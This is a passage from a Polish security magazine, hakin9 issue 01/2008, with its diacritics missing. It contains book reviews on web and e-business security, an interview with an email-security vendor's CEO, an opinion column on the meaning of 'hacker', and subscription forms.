Tytu: E-biznes bez ryzyka. Zarzdzanie bezpieczestwem w Sieci Autor: Jonathan Reuvid Wydawca: Helion Rok wydania w Polsce: 2007 Liczba stron: 256 E-biznes i bezpieczestwo to sowa, ktre w ostatnim czasie robi furor. Wikszo przedsibiorstw poza fizycznymi oddziaami posiada te mniej namacalne wirtualne. Z drugiej strony obserwuje si coraz bardziej wyrafinowane techniki oszustw i wyudze, erujce na niewiadomych i naiwnych uytkownikach Internetu. Wanie te zagadnienia i wiele wicej porusza Jonathan Reuvid w swojej ksice pod tytuem E-biznes bez ryzyka. Zarzdzanie bezpieczestwem w Sieci. Pozycja zostaa podzielona na pi gwnych czci traktujcych kolejno o: zagroeniach dla informacji i systemw informacyjnych, rodzajach ryzyka i rdach zagroe, ochronie oprogramowania i danych osobowych, zarzdzaniu dziaaniami operacyjnymi i dobrej praktyce oraz o planowaniu awaryjnym i przywrceniu poprawnego funkcjonowania organizacji po wystpieniu zdarzenia kryzysowego. Po tych kilku tytuach mona wnioskowa, e autor porusza wane i aktualne problemy elektronicznego biznesu. Wrd wielu istotnych kwestii znajdziemy tematy, ktre nie s czsto podejmowane przez innych autorw, m. in. monitoring pracownikw, jego zasadno i podstawy prawne, kwesti urzdze mobilnych i ich wykorzystania poza czasem pracy (ilu pracodawcw wie, co z laptopami robi ich podwadni w domu?), zmniejszanie ryzyka od metody maych krokw poprzez szybkie metody na radykalnych rozwizaniach koczc, czy wreszcie systemy uwierzytelniania i wicca w ostatnim czasie tryumfy biometria. Na pierwszy rzut oka niektre rozdziay wydaj si nieaktualne jak choby Bezpieczestwo sieciowe w 2005 roku, jednak po dokadniejszym ich przestudiowaniu wida, e wskazuj na bardzo aktualne problemy. Z zalet ksiki warto rwnie wymieni przystpny jzyk, atwo z jak si j czyta oraz metod wyjaniania terminw na zasadzie analogii i obrazw. Studia przypadku z ostatnich rozdziaw s ciekawym podsumowaniem przedstawionych zagadnie. Na poczet plusw naley take zaliczy wywaenie treci pod wzgldem liczby odwoa do standardw i specyfikacji, ktra nie jest ani zbyt skromna, ani nie przytacza. Cieszy fakt, e uzupeniono tekst o polskie standardy razem z ich omwieniem. Z drobiazgw uj mnie zrzut ekranu z polskiej strony Google prezentujcy wyniki w ojczystym jzyku szczeg, ale cieszy i podkrela szacunek dla czytelnika. Komu polecibym t pozycj? Praktycznie kademu czowiekowi zainteresowanemu bezpieczestwem. Ksika nie odstrcza fachowoci, ale z drugiej strony nie jest trywialna. Poruszane zagadnienia s aktualne i czsto krytyczne dla funkcjonowania e-biznesu. Praktyczne rady, w jaki sposb zmniejsza ryzyko i zwalcza typowe problemy, znaczco podnosz warto pozycji. Marcin Kulawinek

Tytu: PHP Bezpieczne Programowanie Autor: Chris Shiflett Wydawca: Helion Rok wydania w Polsce: 2006 Liczba stron: 128 Bezpieczestwo odgrywa wan rol w serwisach webowych. Bez zapewnienia odpowiedniego poziomu bezpieczestwa nie byoby bankw internetowych, klientw pocztowych uruchamianych z poziomu przegldarki, systemw zarzdzania treci, wszelkich blogw itp. Z pewnoci take PHP nie osignoby takiej popularnoci. Faktem jest, e kade zabezpieczenie mona obej, a jedyne, co moemy zrobi, to utrudni ycie hakerom czy crackerom. Z tego wanie powodu warto przeczyta ksik PHP Bezpieczne Programowanie. Jak sam tytu wskazuje, powie nam ona wiele o tym, jak naley pisa aplikacje internetowe, by nie naraa na nieprzyjemnoci naszych uytkownikw a take siebie, rwnie pod wzgldem prawnym, gdy wiele serwisw peni funkcje objte regulacjami prawnymi. Chris Shiflett autor opisywanej tutaj ksiki przedstawia nam rne aspekty bezpieczestwa skryptw PHP, pokazujc czsto spotykane luki, ktre programi-

72

hakin9 Nr 01/2008

www.hakin9.org

Ksigozbir

ci zostawiaj w kodzie oraz sposoby, w jakie napastnik moe je wykorzysta. Dziki takiej konwencji moemy zrozumie take sam ide wprowadzania danego zabezpieczenia i spojrze na to z perspektywy atakujcego. Z pewnoci, znajc t ide, bdziemy w stanie opracowa nowe sposoby zabezpiecze lub udoskonali ju istniejce. Czego konkretnie moemy si nauczy dziki tej ksice zawierajcej sto dwadziecia stron informacji? Zaczynamy od atakw: na formularze, XSS, CSRF oraz manipulacji adresami URL (wszystko to mieci si w jednym najduszym w ksice rozdziale). Nastpnie szybko przechodzimy do baz danych, gdzie dowiadujemy si czym jest atak nazywany SQL Injection, a potem poznajemy sposoby na ochron przed przechwytywaniem sesji oraz ciasteczek, w ktrych znajduje si wicej podanych przez hakera informacji, ni si niektrym

wydaje. Autor pisze take o wstrzykiwaniu kodu, naraaniu na niebezpieczestwo przegldania przez intruza systemu plikw, autoryzacji uytkownikw, a na koniec zostawia gar rad podpowiadajcych co zrobi, gdy webserwisy znajduj si na wsplnym hocie. Zawarto tutaj take trzy dodatki traktujce odpowiednio o: dyrektywach konfiguracyjnych PHP, jego kilku kluczowych funkcjach oraz o kryptografii, do ktrej wykorzystuje si wbudowane funkcje PHP. PHP Bezpieczne Programowanie zawiera co prawda kilka bdw, jednak s to jedynie literwki. Autor bardzo dokadnie opisa poszczeglne rodzaje atakw i moliwoci ochrony przed nimi, tak wic warto przeczyta t ksik zwaszcza, jeli planujemy tworzy powane serwisy webowe. Roger Zacharczyk

Tytu: Podstawy ochrony komputerw Autor: Rick Lehtinen, Deborah Russell, G.T. Gangemi Wydawca: Helion Rok wydania w Polsce: 2007 Liczba stron: 304 Zadbaj o bezpieczestwo swojego komputera to cytat z okadki ksiki: Podstawy ochrony komputerw, wydanej przez jedno z bardziej uznawanych wydawnictw na wiecie O'Reilly, w Polsce dostarczanej przez Helion. Co znajdziemy w ksice? Dziesi rozdziaw podzielonych na cztery gwne czci plus dodatki. Pierwsze, co przedstawi nam autor, to jak wygldao bezpieczestwo wczoraj, a jak przedstawia si jego aktualny poziom historia rozwoju szeroko rozumianej ochrony informacji i nie tylko. Kolejny dzia wprowadzi nas w tytuow ochron komputerw. Dowiemy si z niego, co i jak naley chroni. Autor porusza nie tylko zagadnienia oczywiste, jak nie zapisywanie hase na karteczkach, lecz omawia take ochron przed niepowoanym dostpem osb trzecich, wirusami, robakami. Przeczytamy, jak powinna wyglda polityka bezpieczestwa w firmie, jakie zagroenia niesie ze sob Internet i ktre rodzaje atakw mona w nim przeprowadzi. Dostpna jest przystpnie opisana specyfikacja protokow sieciowych, opis moliwoci i zagroe, jakie s z nimi zwizane. Nastpny dzia przyblia zagadnienia szyfrowania, kodowania oraz przedstawia, co oznacza zabezpieczanie sieci i jak sobie z nim radzi. Autor opisuje historyczne pocztki znanych algorytmw szyfrujcych oraz ich ewolucj, przedstawia, ktre z nich na chwil obecn daj nam wystarczajc ochron. Ostatnia cz (poza dodatkami) porusza tematyk innych rodzajw zabezpiecze. Dowiemy si z niej o fizycznej i biometrycznej ochronie zasobw oraz o metodach ochrony i unikania zagroe w sieciach bezprzewodowych. Warto zwrci uwag na dodatki, w ktrych jasno przedstawione zostay takie zagadnienia jak Orange book czy TEMPEST. Z rzeczy, ktre zauwaa si ju w pierwszych rozdziaach, rzuca si w oczy nakad pracy, jaki woy autor w uporzdkowanie i usystematyzowanie wiedzy. Wszelkie terminy s krok po kroku definiowane i wyjaniane. Rzadko acz w bardzo istotnych miejscach znajdziemy ilustracje obrazujce dane zagadnienie. W ramkach umieszczono praktyczne wskazwki i ciekawostki odnonie aktualnie omawianego tematu. Znaczn cz ksiki zajmuj odwoania do specyfikacji, praw i dyrektyw. W wikszoci s to dokumenty rzdu Stanw Zjednoczonych wydawnictwo Helion postarao si o uzupenienie tych paragrafw o odwoania do polskich ustaw i rozporzdze, co podnosi warto pozycji. Dla kogo jest ta ksika? Waciwie dla kadego, kto chce wiedzie wicej o bezpieczestwie z nastawieniem jednak na osoby, ktre s w tym temacie pocztkujce (co nie oznacza, e bardziej zaawansowani nie znajd nic dla siebie). Marcin Kulawinek

Serdeczne podzikowania dla wydawnictwa Helion, za udostpnienie ksiek do recenzji.

www.hakin9.org

hakin9 Nr 01/2008

73

Wywiad

Wywiad z Marcinem Piounem Noyszewskim prezesem zarzdu M2 NET


Od 13 lat zajmuje si projektowaniem i tworzeniem oprogramowania komputerowego, a od 7 lat peni funkcj prezesa zarzdu M2 NET S.A. Ma 32 lata i jest absolwentem socjologii na Uniwersytecie Warszawskim.
Marcin Pioun-Noyszewski

hakin9: Prosz przybliy naszym Czytelnikom strategi firmy na najblisze p roku/ rok. Marcin Pioun-Noyszewski: Specyfika produktw M2 NET powoduje, e firma musi bardzo szybko reagowa na wymagania stawiane przez rynek, zatem jednym z zada, ktre stoj przed nami, jest tworzenie i implementowanie nowych technik antyspamowych i ochrony poczty. Np. ostatnio nasz zesp wymyli now, innowacyjn technik wykrywania phishingu opart na analizie adresw nadawcw. Wanie wydalimy now wersj systemu ochrony poczty dla IBM Domino, koczymy take przygotowywanie pitej wersji SMI! for Gateway, a najpniej w pierwszym kwartale 2008 chcemy wyda now wersj SMI! for Exchange. h9: Jaki jest Wasz najwaniejszy, flagowy produkt? MP-N: Nasza firma zajmuje si dwoma nieco rnicymi si obszarami dziaalnoi. Pierwsza to bezpieczestwo poczty elektronicznej najwaniejsz lini produktow jest seria Secure Mail Intelligence ! Jest to wielosilnikowy system zabezpieczenia poczty, zawierajcy 8 silnikw antywirusowych i po-

nad 23 technologie wyszukiwania spamu. Z drugiej strony, nasza firma produkuje systemy dedykowane i aplikacje biznesowe, a tutaj prym wiedzie system relacji z klientami CRM, system realizacji bada sondaowych przez Internet Internet Survey, systemy obiegu dokumentw, rone dedykowane aplikacje wielowarstwowe i aplikacje do kryptografii. h9: Jak prbujecie si wyrni na rynku?, Przecie jest tak wiele dobrych produktw. Co robicie, aby je wypromowa? Czy nie boicie si konkurencji? MP-N: Duy procent sprzeday zapewnia nam eksport i sprzeda poprzez zagranicznych partnerw, std skupiamy si na dziaaniach promujcych ten sposb sprzeday. Do najwaniejszych technik promocji nale tutaj po prostu bezporednie kontakty. Nie ma co ukrywa, nie jestemy zbyt szeroko obecni w Polsce i niezbyt czsto korzystamy z tradycyjnych mechanizmw promocji. Ale chcemy to zmieni, poniewa zamierzamy bardziej aktywnie sprzedawa nasze produkty take na rynku polskim. Niestety, nie jest to atwe, bo zasada cudze chwalicie, swego nie znacie jest tutaj w 100% prawdziwa, o czym

74

hakin9 Nr 01/2008

www.hakin9.org

niejednokrotnie si przekonalimy na wasnej skrze. Zaskakujce jest to, e SMI! chtnie kupuje np. administracja rzdowa w Wielkiej Brytanii czy w Kazachstanie, a w Polsce mamy jednostkowe przypadki instalacji w sektorze administracji publicznej. Jeli chodzi o konkurencj, to na wiecie jest tylko okoo piciu podobnych produktw. My stawiamy na funkcjonalno, oni na mark. Myl e w duszej perspektywie to nasze podejcie przyniesie premi. h9: Jak oceniacie zainteresowanie klientw Waszymi produktami? Czy jest ono cile zwizane ze wiadomoci klientw odnonie zagroe pyncych z Internetu, czy ta wiadomo/zainteresowanie wzrosa, czy zmalaa na przestrzeni ostatnich lat? MP-N : Wanie, kwestia tego, skd pochodzi zagroenie, rni podejcie klientw dawniej i obecnie. W Polsce wyranie wida zainteresowanie gwnie funkcjami antyspamowymi, nastpnie antywirusowymi czyli cechami, ktre zabezpieczaj firm przed atakami z zewntrz. Okazuje si jednak, e najwiksza liczba zagroe pochodzi z wewntrz firmy. Za 34 wszystkich atakw odpowiedzialni s tzw. insiders, czyli pracownicy lub byli pracownicy przedsibiorstwa. Midzy innymi dlatego w normie 27001 tak duy nacisk kadzie si na kontrol poczyna pracownikw. Widzimy, e obecnie wzrasta taka wiadomo i szczeglnie na wiecie klienci gwnie pytaj o zaawansowanie filtrowanie treci (SMI! umoliwia wyuskiwanie treci z rnorodnych zacznikw, w tym wielokrotnie zagniedonych) i kontrol wycieku danych, w dalszej kolejnoci istotna jest moliwo doczania zastrzee prawnych i archiwizacji poczty, a dopiero potem ochrona przed zoliwym kodem i niechcian poczt. h9: Czy produkty firmy rzeczywicie odznaczaj si wysok skutecznoci? MP-N: Po pierwsze SMI! posiada innowacyjne mechanizmy dziaajce w warstwie poczenia, co powoduje, e jest w stanie blokowa poczenia z adresw, z ktrych np. otrzymalimy zbyt wiele zainfekowanych listw. Podobnie z reakcj na epidemie i zachowania masowe te funkcje wyrniaj nas spord konkurencji i powoduj, e skuteczno SMI! jest wysza

ni innych programw tego typu. W dalszym aspekcie wpywa na to zastosowanie 23 technik antyspamowych i 8 technik antywirusowych bo chyba przemawia do kadego, e przeskanowanie tego samego listu kilkoma silnikami podwyszy skuteczno. W naszych testach wyranie wida, ze nie ma idealnego silnika antywirusowego i antyspamowego. Trzeba dobra ochron antyspamow do charakteru spamu podobnie nie zdarzyo si jeszcze nigdy, aby jeden silnik wykry wszystkie kolekcjonowane przez nas wirusy, trojany, robaki, riskware, spyware, adware. h9: Jeli tak, co to potwierdza? MP-N: Porwnanie z konkurencj. Czsto z ni walczymy.Nasze i ich rozwizania s poddawane tym samym testom w identycznym rodowisku, ale to nasze produkty wygrywaj. Posiadamy take raporty firm dostarczajcych nam technologii antyspamowych i antywirusowych, ktre pokazuj np. czasy reakcji na pojawienie si wirusw. Wahaj si one od kilku minut do kilkuset godzin. Na pocztku stawki i na kocu w rnych miesicach wystpuj czasami te same silniki nie ma ideau. Tylko dywersyfikacja technologii moe poprawi poziom bezpieczestwa. h9: Jak wyglda wsparcie techniczne, czy jest ono patne? MP-N: Standardowo w licencji zawarta jest opieka roczna, ktra obejmuje aktualizacje baz wirusw, filtrw antyspamowych, poprawki oprogramowania i pomoc techniczn przez elektroniczne kanay komunikacji. Mona take za 18% wartoci licencji wykupi zaawansowany maintenance, ktry umoliwia m. in. instalowanie wszystkich nowych wersji produktw bez dodatkowych opat, a take zapewnia pomoc techniczn przez telefon. Mamy take podpisanych kilka umw na wiadczenie dedykowanej opieki typu 24/7/365, ale warunki takiej opieki s ustalane indywidualnie. h9: Czy kady klient ma swojego opiekuna technicznego? MP-N: Tak, kady klient otrzymuje bezporedni kontakt do dwch osb: opiekuna technicznego i opiekuna handlowego. Warto jednak zwrci uwag na fakt, e si takich maych firm, jak nasza ktra zatrudnia kilkanacie osb jest to, e klient nie musi przebija si przez setki automatycznych powitalnych menu, a trafia bezporednio do dziau wsparcia czy dziau sprzeday. Co wicej, cay zesp zna tematyk ochrony poczty, bo specjalizujemy si w tym zakresie. Klient nie tonie w bezadzie organizacji, a ewentualne problemy s szybko eskalowane zdarza si i tak, e osobicie interweniuj w niektrych sprawach. Wane jest take i to, e pomagamy klientom nie tylko podczas instalacji oprogramowania, z ewentualnymi kopotami technicznymi czy te w obsudze programu, ale pomagamy utworzy polityk zabezpieczenia, reagujemy na ataki, ktrych dowiadczaj nasi klienci, przygotowujemy dla nich specjalne wersje lub implementujemy specyficzne zabezpieczenia.

www.hakin9.org

hakin9 Nr 01/2008

75

Wywiad

h9: Czy jeli klient zamwi okrelone oprogramowanie czy te wdroenie, bdzie mg liczy na szkolenia? MP-N: Oczywicie, standardowo kady klient moe za darmo uczestniczy w sesjach szkoleniowych organizowanych przez nasz firm. Kademu moemy asystowa w instalacji produktu poprzez telefon lub zdalny desktop. Mamy take ofert kilku szkole komercyjnych od zaawansowanej obsugi oprogramowania (np. klastrowania, replikacji itp.), poprzez szkolenia tworzenia polityk zabezpiecze, a skoczywszy na szkoleniach z tematyki nieco szerzej rozumianego bezpieczestwa systemw IT. h9: Z jakiego jzyka programowania korzystaj programici firmy przy pisaniu aplikacji? MP-N: Wikszo bibliotek oraz natywna integracja z serwerami wymaga tego, by korzysta z C i C++, ale wiele filtrw i obsuga logiki aplikacji wykonane s w jzyku Java 1.5. Interfejs administracyjny przygotowany jest jako wielowarstwowa aplikacja Java uruchamiana na serwerze Apache Tomcat, korzystajca z interaktywnych mechanizmw AJAX. Fragmenty korzystaj ze skompilowanej przez nas wersji Perl-a, a wersja dla Microsoft Exchange wykorzystuje miejscami C#. h9: Na firmowej stronie WWW znajdujemy informacj o obsugiwanych systemach. Czy w tych mniej popularnych zdarzaj si jakie problemy z dziaaniem programw? MP-N: Wersje dla wszystkich systemw operacyjnych staramy si testowa w ten sam sposb. Nie jest tajemnic, e np. Solaris czy AIX s nieco mniej popularne, ale w takich przypadkach korzystamy z infrastruktury producentw tych systemw i pomocy naszych partnerw. Codziennie wykorzystujemy centra danych w Londynie i w Warszawie, a take korzystamy szeroko z usug uytkownikw, testujcych wersje beta naszych systemw. h9: Czy przedsibiorstwa chtnie stosuj produkty firmy, i czy ich opinie s pozytywne? MP-N: No c, tak jak wspomniaem wczeniej, wydaje si, e chtniej wykorzystuj nasze pudekowe oprogramowanie firmy spoza Polski, cho w przypadku aplikacji dedykowanych tworzonych na potrzeby biznesu i administracji rzdowej jest odwrotnie. Myl, e najlepsz ocen jakoci produktw i wiadczonych przez nas usug jest fakt, e nasi klienci kilkukrotnie przeduaj wieloletnie umowy subskrypcji i opieki serwisowej, a take kilkukrotnie ci sami klienci zlecaj nam nowe zadania. Niestety, zdarza si czasami, e klienci rezygnuj z naszych rozwiza na rzecz produktw firmy numer 1 lub 2 na wiecie, ale wydaje si, e decyzje takie maj czasami pozamerytoryczn przyczyn. h9: Co przemawia za korzystaniem z produktw firmy M2 NET S.A.? MP-N: Chyba najwaniejsza jest moliwo zwikszenia dokadnoci analizy ruchu pocztowego, zdywersyfikowania rde zabezpiecze, zaufania firmie wysoko

wyspecjalizowanej, otwartej na nowe pomysy i szybko reagujcej na zmiany. Istotna jest moliwo bezporedniego kontaktu, elastyczno i innowacja, ktr cechuj si nasi pracownicy. Warto podkreli, e cena naszych produktw jest podobna do rozwiza jednosilnikowych, a atwo wdroenia i obsugi programw nie wymaga zaawansowanej wiedzy. Staramy si, aby temat bezpieczestwa zosta wyrwany z rk guru i trafi pod strzechy. Chcemy, eby wysoko wyspecjalizowane produkty mogy by obsugiwane przez zwykych administratorw. h9: Jak produkty M2 NET S.A. wypadaj na tle konkurencji? MP-N: Nasz udzia w rynku jest may. Docieramy gwnie do wielkich firm, w ktrych zabezpieczenie jednosilnikowe jest niewystarczajce. Prosz sobie wyobrazi, e wrd firm korzystajcych z naszego oprogramowania s takie przedsibiorstwa, gdzie chronimy kilkaset serwerw i kilkadziesit tysicy uytkownikw! Mae i rednie firmy preferuj dobrze znane marki, trudno nam z nimi wygra. Niestety, nie moemy sobie pozwoli na szerok kampani promocyjna, bo nasz budet na razie w 80-90 procentach pochania R&D i konieczno nadania za zmieniajc si charakterystyk atakw. W chwili obecnej wyrnia nas wysza funkcjonalno i wiksza dokadno kontroli poczty. h9: W jaki sposb firma postrzega rodowisko specjalistw IT? MP-N: Bez tych osb, bez ich pomysw, wiedzy, czsto dowiadczenia, trudno byoby nam stworzy produkty, ktre mogyby realnie zabezpieczy infrastruktur naszych klientw. h9: Jakie akcje dla specjalistw IT Pastwo przeprowadzaj? MP-N: Gwnie ich poszukujemy i zatrudniamy, ale staramy si take dzieli z nimi wiedz podczas licznych konferencji i wykadw, w ktrych uczestnicz nasi pracownicy. h9: Czy planujecie jakie specjalne oferty, gratisowe narzdzia itp.? MP-N: Obecnie istniej tylko demonstracyjne wersje naszych produktw, ale dla rnych organizacji non-profit oferujemy darmowe wersje. Pracujemy nad wersj bezpatn naszych produktw, ale niestety cykl wydawniczy nowych wersji zablokowa wydanie ich w tym roku. Wszystko wskazuje na to, e pod koniec pierwszego kwartau przyszego roku, a najpniej w drugim, wydamy darmowe wersje caej serii SMI! Co do specjalnych ofert, to cay czas mamy rabat 30% dla instytucji zwizanych z edukacj. h9: Jak M2 NET S.A. ocenia hakin9 jako medium umoliwiajce dotarcie do specjalistw IT? MP-N: hakin9, to wedug nas wane czasopismo dostarczajce rzetelnej wiedzy specjalistycznej, z ktrej sami take korzystamy. h9: Dzikujemy za rozmow. MP-N: Dzikuj.

76

hakin9 Nr 01/2008

www.hakin9.org

Prenumerata Pro
CCNS
Dziaalno firmy skoncentrowana jest wok hasa zapewnienia penego bezpieczestwa funkcjonowania Klienta w realiach wspczesnej gospodarki. Jako Expert Partner firmy WatchGuard Inc. oferujemy kompleksowe rozwizania bezpieczestwa sieci i systemw informatycznych obejmujce nowoczesne urzdzenia typu Unified Threat Management, niezawodny serwis i szeroki wachlarz szkole.

Zepter IT
Zepter IT to dynamicznie rozwijajca si firma, specjalizujca si w realizacji projektw informatycznych. Oferujemy rozwizania dla biznesu i zarzdzania takie jak systemy ERP czyli zarzdzanie zasobami firmy, podnoszenie jakoci i obnianie kosztw. Zepter IT wiadczy rwnie usugi internetowe - serwisy www, e-commerce, tworzenie aplikacji internetowych oraz systemw zarzdzania treci.

www.ccns.pl

www.zepterit.com

TTS Company Sp. z o.o.


Oprogramowanie komputerowe - sprzeda, dystrybucja oraz import na zamwienie. W ofercie programy autorstwa ponad stu firm z caego wiata. Zapraszamy do wsppracy - zosta naszym klientem lub dostawc.

Media Systems
Firma Media Systems oferuje Pastwu profesjonalny system CashBill.pl, umoliwiajcy zarzdzanie usugami SMS Premium Rate w sektorze B2B i B2C. Oferujemy rwnie szeroki wachlarz usug mikropatniczych, patnoci elektronicznych oraz indywidualne, dedykowane rozwizania przy budowie aplikacji mobilnych.

www.OprogramowanieKomputerowe.pl

Petrosoft
Partner Microsoft Bussiness Solutions Dynamics GP. Budowa sklepw internetowych, serwisw WWW, prezentacji multimedialnych. Budowa sieci LAN, WAN, telekomunikacyjnych. Telefonia stacjonarna, VoiceIP. Usugi outsorcingowe dla duych firm z zakresu informatyki i telekomunikacji. Oprogramowanie na zamwienia. Dostawa serwerw, sprztu, oprogramowania.
38-200 Jaso, ul. 3 Maja 101 Biuro: (13) 44 66 666 biuro@petrosoft.pl

Enigma SOI
Gwnym przedmiotem dziaalnoci firmy jest produkcja, wdraanie i sprzeda systemw sucych do ochrony informacji. elektroniczna skrzynka podawcza centra certyfikacji kluczy podpis elektroniczny i szyfrowanie na serwerach i stacjach klienckich zabezpieczanie stacji lokalnych karty elektroniczne i czytniki
www.enigma.com.pl

kontakt do nas: katarzyna.juszczynska@software.com.pl robert.gontarski@software.com.pl tel. : 22 427 36 77

Czy wszyscy s hakerami?


Felieton

Rafa Bednarski gandalfblu@gmail.com

astoletni haker wama si do firmy, hakerzy atakuj nasze e-maile, hakerzy przejmuj Twj komputer, hakerzy znaleli 'dziur' w systemie operacyjnym takie i podobne teksty mona przeczyta w prasie i usysze w TV. W Niemczech wprowadza si nawet specyficzne przepisy anty-hakerskie. Wszystkie takie informacje wrzucane s do jednego worka, a dla przecitnego uytkownika komputera sowo haker ma negatywne konotacje. Stao si ono modne i wrcz naduywane. Haker jest to osoba, ktra posiada bardzo szerok wiedz informatyczn i ktra potrafi j wykorzysta w celu znalezienia dziur w systemach informatycznych. Osoba ta dzieli si swoj wiedz i chtnie pomaga innym uytkownikom, a co najwaniejsze, swoim dziaaniem nie szkodzi. Trzeba te pamita, e to hakerzy przyczynili si do ekspansji oprogramowania Open Source. To oni stoj za tym, e kadego miesica dostajesz poprawki do swojego ulubionego systemu operacyjnego. Ale o tym jako nikt nie mwi. Nikt nie wspomina te, e to dziki nim Twoje ciko zarobione pienidze s coraz bezpieczniejsze na kontach. Nawet Twoja sie osiedlowa jest bezpieczniejsza dziki temu, e hakerzy motywuj administratorw do lepszego jej zabezpieczania. Naturalnie, kwestia nie jest taka prosta. W grupie hakerw wystpuje podzia na black hats, white hats i grey hats. Do pierwszej z nich zaliczamy osoby, ktre wyszukuj bdy w systemach i nie dziel si t wiedz, tylko tworz oprogramowanie umoliwiajce wykorzystanie odkrytych luk. Do drugiej grupy natomiast wliczamy osoby, ktre szukaj luk bezpieczestwa i po ich znalezieniu dziel si z szersz grup ludzi, ktrzy mog pomc w zlikwidowaniu bdw w systemie. Natomiast ostatnia ju grupa to po prostu ci, ktrzy cz w sobie cechy black hats i white hats. Przykadem wamania dokonanego z pozytywnych przesanek byo wejcie na serwer Apache.org w wykonaniu Petera van Dijka i Franka van Vlieta w maju 2000. Osoby te wamay si na serwer, opisay krok po kroku wszystko, co zrobiy i pozostawiy administratorom serwera wiadomo, co zrobi, aby

go lepiej zabezpieczy. Mogli przecie uy serwera do zainfekowania tysicy komputerw. I to jest jeden z najbardziej szczytnych przykadw dziaa hakerw. Na dodatek administratorzy Apache.org napisali podzikowania dla nich za pomoc w lepszym zabezpieczeniu systemu. Natomiast inna osob jest cracker. To uytkownik, ktry wamuje si na serwery w celu zniszczenia czego lub dla osignicia korzyci materialnych. Osoba taka dziaa niezgodnie z prawem. Jej celem nie jest pomoc nikomu, tylko wasny zysk. Trzeba przy tym pamita, e crackerzy to naprawd inteligentni ludzie, ktrzy potrafi duo zrobi za pomoc komputera i nawet w ich nieetycznym dziaaniu mona doszuka si pozytywnych przesanek. Oczywicie mona si ze mn sprzecza i mwi, e brak mi obiektywizmu, poniewa nic na tym wiecie nie jest czarne lub biae. Ale czasami cel uwica rodki. Przykadowo: ostatnio przeczytaem w prasie, jak przedstawiciel pewnej firmy odpowiadajcy za najbardziej popularny pakiet biurowy powiedzia, e zawiesza si on ze wzgldw bezpieczestwa. C, czytajc co takiego, zastanawiam si jak mona w taki sposb traktowa uytkownikw swojego programu. Czsto wypuszczane s systemy operacyjne, ktre maj by superbezpieczne i dawa nam komfort spokojnej pracy. A jak wiemy czsto jest zupenie inaczej. Zwyky czowiek nie jest w stanie tego wykry i przetestowa. I tutaj wanie z pomoc przychodz hakerzy, ktrzy prbuj wskaza producentowi okrelone luki w systemie aby ten mg zosta lepiej zabezpieczony. Czasami nie wystarczy pokaza monopolicie, e gdzie jest bd, poniewa uwaa on, e wszystko dziaa bez zastrzee i nic nie trzeba naprawia. Ale c to ju zupenie inna historia Niestety, za naduywanie terminu haker odpowiadaj w duym stopniu media, poniewa to one przy kadej moliwej okazji wykorzystuj to sowo nie zwracajc uwagi na jego waciwe znaczenie Apeluj, wic, do wszystkich: zastanwcie si, zanim nazwiecie kogo hakerem czy crackerem, poniewa zawsze moecie go urazi, nie zdajc sobie sprawy, o czym tak naprawd mwicie. l

78

hakin9 Nr 01/2008

www.hakin9.org

Formularz zamwienia prenumeraty


Prenumerata korporacyjna hakin9 pozwoli Ci na dowolne powielenie i rozpowszechnianie pisma w obrbie Twojej firmy
W ramach prenumeraty korporacyjnej otrzymaj Pastwo: 1. Pismo w wersji elektronicznej 2. Dwa dodatkowe egzemplarze w wersji drukowanej 3. CD-ROM zawierajcy archiwum wszystkich numerw z 2006 roku

Dane osoby / firmy zamawiajcej Imi i nazwisko ID kontrahenta* Stanowisko

* jeeli jeste ju klientem firmy Software-Wydawnictwo Sp. z o.o. wystarczy, e podasz swj numer ID kontrahenta; jeeli nie posiadasz takiego numeru, podaj swe dane teleadresowe

Upowaniam firm Software-Wydawnictwo Sp. z o.o. do wystawienia faktury VAT bez podpisu odbiorcy

Piecz firmy i podpis Nazwa firmy Dokadny adres Telefon (wraz z numerem kierunkowym) Adres e-mail Tytu hakin9 (1 pyta CD)
Miesicznik o bezpieczestwie i hakingu

Faks (wraz z numerem kierunkowym) Numer NIP firmy Ilo numerw w roku 12 12 W sumie Ilo zamawianych prenumerat Od numeru pisma lub miesica Opata w z z VAT 900 80

Dodatkowy drukowany egzemplarz

Numer konta: NORDEA BANK POLSKA 46 1440 1299 0000 0000 0391 8238 UWAGA: Nadesanie zamwienia jest jednoczenie zobowizaniem do zapaty.
Prosimy wypeni czytelnie i przesa faksem na numer: (22) 427 36 69 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl Przyjmujemy te zamwienia telefoniczne: (22) 427 36 79

(liczba prenumerat x cena)

www. b u y itp r e ss.c o m.pl

www.buyitpress.com
Zaprenumeruj swoje ulubione magazyny i zamw archiwalne numery!

Ju teraz w kilka minut moesz zaprenumerowa swoje ulubione pismo. Gwarantujemy: - preferencyjne ceny - bezpieczn patno on-line - szybk realizacj Twojego zamwienia Bezpieczna prenumerata on-line wszystkich tytuw Wydawnictwa Software!

zamwienie prenumeraty
Prosimy wypeni czytelnie i przesa faksem na numer: (22) 427 36 69 lub listownie na adres: Software-Wydawnictwo Sp. z o.o., Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy te zamwienia telefoniczne: (22) 427 36 79
Imi i nazwisko............................................................................................ Nazwa firmy................................................................................................. ID kontrahenta.......................................................................................... Numer NIP firmy.......................................................................................

Dokadny adres.................................................................................................................................................................................................................... Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) .................................................... E-mail (niezbdny do wysania faktury)............................................................................................................................................................................
automatyczne przeduenie prenumeraty

Tytu
Software Developers Journal (1 pyta CD) dawniej Software 2.0 Miesicznik profesjonalnych programistw SDJ Extra (od 1 do 4 pyt CD lub DVD) dawniej Software 2.0 Extra! Numery tematyczne dla programistw
Linux+DVD (2 pyty DVD)

Ilo numerw

Ilo zamawianych prenumerat

Od numeru pisma lub miesica

Opata w z z VAT

12 6 12 8 6 12 6 6

250/1801 150/1352 199/1791 232/1982 135 1991/219 140 140

Miesicznik o systemie Linux


Linux+Extra! (od 1 do 7 pyt CD lub DVD)

Numery specjalne z najpopularniejszymi dystrybucjami Linuksa


PHP Solutions (1 pyta CD)

Dwumiesicznik o zastosowaniach jzyka PHP


hakin9, jak si obroni (1 pyta CD)

Miesicznik o bezpieczestwie i hakingu


.psd (2 pyty CD)

Miesicznik uytkownikw programu Adobe Photoshop


.psd numery specjalne

(.psd Extra + .psd Starter Kit)

Suma

1 2 3

Cena prenumeraty rocznej dla osb prywatnych Cena prenumeraty rocznej dla osb prenumerujcych ju Software Developers Journal lub Linux+ Cena prenumeraty dwuletniej Aurox Linux

Jeeli chcesz zapaci kart kredytow, wejd na stron naszego sklepu internetowego:

www.buyitpress.com

